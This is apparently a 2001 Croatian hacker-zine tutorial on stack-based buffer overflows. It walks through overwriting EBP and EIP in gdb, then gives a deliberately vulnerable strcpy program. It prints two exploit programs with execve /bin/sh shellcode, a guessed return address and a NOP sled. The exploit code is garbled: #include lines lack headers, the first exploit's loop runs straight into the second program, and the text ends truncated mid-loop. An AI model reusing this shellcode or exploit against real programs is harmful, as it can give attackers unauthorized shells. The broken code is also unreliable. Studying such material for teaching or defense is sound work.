----------------------------------------------------------------- [ F R E E D O M ] ----------------------------------------------------------------- Author of this article : Fr1c [fr1c@phreakcore.org] Date : Sat Jun 30 17:30:32 CEST 2001 Theme : Exploiting stack based overflows Langugage : Cr0atian ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 0x1 - Uvod 0x2 - Teorija - rad exploita 0x3 - Rad sa gdb-om 0x4 - Zakljuchak ================================================================================ 0x1 == [ Uvod ] Ahh, evo josh jedan tekst od mene... Ovaj puta chu opisat stack based overflows... Znam da ima vech mnogo napisanih tekstova o tome, vjerojatno mnogo boljih, ali nisam vidio na cr0 jeziku, niti nisam vidio ovako losh napisan pa sam odlucio da napishem jedan crap :-) Da bi shvatili stvari u ovom "tutorial-u", morate poznavat C, ASM (AT&T syntaksu), registe (ovo spada pod assembler :-), GDB. Ako vam nije nesht od toga jasno, morate prvo to naucit. Za GDB je napisao dobar tutorial moj prijatelj predator. Ako vam treba, pitajte me na : fr1c@phreakcore.org ili me nadjite na irc-u (irc.carnet.hr), #hr.hackers ili #c++ Ako pozhelite koji dobar tekst o ovoj temi, mozhete ga pronach na www.hack.co.za. Ok, let's start with this crap. ================================================================================0x2 == [ Teorija ] 0x2 == [ Teorija ] Ovako, shto je sve to... Buffer overflow je kada napunite buffer i previse, tj. da sadrzi vishe byte-ova nego sto mozhe ... Stack based overflows, sama rijech kazhe da se overflow dogadja na stack-u. Recimo, da imate deklariran buffer negdje od 1000 char-a ( bytes ). Ako unsete vishe (bytes), buffer che uzrokovat segmentation fault. Recimo, ako imate deklariranu variablu : char polje[100]; /* <-- Ova ovdje variabla */ strcpy(polje, argv[1]); e sada, pogledajmo ovo. da bi uspjeshno napravili overflow, morate unijet vishe od 100. nedovoljno je 101-103, morate unijet 104 [EBP] ... +++++++++++++++ [root@fritz:]/home/freedom/exploit# ./1 blahblahblah Ok... [root@fritz:]/home/freedom/exploit# ./1 `perl -e 'printf "F" x 100'` Ok... [root@fritz:]/home/freedom/exploit# ./1 `perl -e 'printf "F" x 103'` Ok... [root@fritz:]/home/freedom/exploit# ./1 `perl -e 'printf "F" x 104'` Ok... Segmentation fault (core dumped) [root@fritz:]/home/freedom/exploit# +++++++++++++++ vidite sada ? pa u chemu je fora ? ove jedne moje male sheme : [ POLJE ] [ EBP ] [ EIP ] POLJE - 100 bytes EBP - 4 bytes EIP - 4 bytes da, upravo tako... sa 104 prepisali smo samo EBP. to je dovoljno za overflow, ali ne i da exploit radi :))) provjerimo to za EBP : ++++++++++++++++++++ [root@fritz:]/home/freedom/exploit# gdb ./1 core GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... Core was generated by `./1 FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x40034902 in __libc_start_main (main=Cannot access memory at address 0x4646464e ) at ../sysdeps/generic/libc-start.c:61 61 ../sysdeps/generic/libc-start.c: No such file or directory. (gdb) info reg ebp ebp 0x46464646 1179010630 (gdb) ++++++++++++++++++ Unijeo sam naredbu : info reg ebp To nam pokazuje vrijednost tog registra nakon "pada" programa... ++++++++++++++++++ (gdb) info reg eip eip 0x40034902 1073957122 (gdb) ++++++++++++++++++ Eto, eip nije prepisan. Unijeo sam 108 byte-ova...nakon toga eip izgleda ovako : ++++++++++++++++++ (gdb) info reg eip eip 0x46464646 1179010630 (gdb) ++++++++++++++++++ znaci, da bi dosli do EIP-a, moramo napunit buffer, prepisat EBP ... ok, mislim da ste shvatili bit ovoga. evo, dat cu primjer vulnerable programa, program je napisao moj dobar prijatelj BoyScout. ++++++++++++++++++ #include int main(int argc, char *argv[]) { char buffer[1024]; if (argc <= 1) { printf("Presented by PhreakCore\n"); printf("~~~~~~~~~~~~~~~~~~~~~~~\n"); printf("Pa tko je tu lud?\n"); } if (argc > 1) { printf("Presented by PhreakCore\n"); printf("~~~~~~~~~~~~~~~~~~~~~~~\n"); strcpy(buffer,argv[1]); printf("Zasto si upisao %s?\n",buffer); } } ++++++++++++++++++ znaci, ovako. buffer je deklariran kao 1024. dovoljno ce bit 1032 (1024 + 4 (EBP) + 4 (EIP)) Ok, evo gotov exploit : ++++++++++++++++++ /* Coded by Fr1c [fr1c@phreakcore.org] */ #include #include #include #include #define SIZE 1032 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; // from someone...dunno who unsigned long sp(void) { __asm__("movl %esp, %eax"); } int main(int argc, char **argv) { int i; char buffer[SIZE]; unsigned long ret = sp() - 964; for (i=0; i #include #include #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long sp(void) { __asm__("movl %esp, %eax"); } int main(int argc, char **argv) { int i, offset=0; char buffer[1032], *tmp; long ret, *addr_ptr, eesp; unsigned long esp=0xbffff7a0; printf("Exploit for PhreakCore Sample vuln. program\nBy Fr1c [Freedom - 2001 - fr1c@phreakcore.org]\n"); if (argc!=2) { printf("No offset ?\n"); return 0; } if (argc==2) offset = atoi(argv[1]); tmp = buffer; ret = sp() - offset; addr_ptr = (long *)tmp; // Fill whole buffer with ret for (i=0; i<1032; i+=4) *(addr_ptr++) = ret; // Fill first part (1/2) of buffer with NOP for (i=0; i<1032/2; i++) buffer[i] = '\x90'; tmp = buffer + ((1032/2) - (strlen(shellcode)/2)); // Fill with shellcode for (i=0; i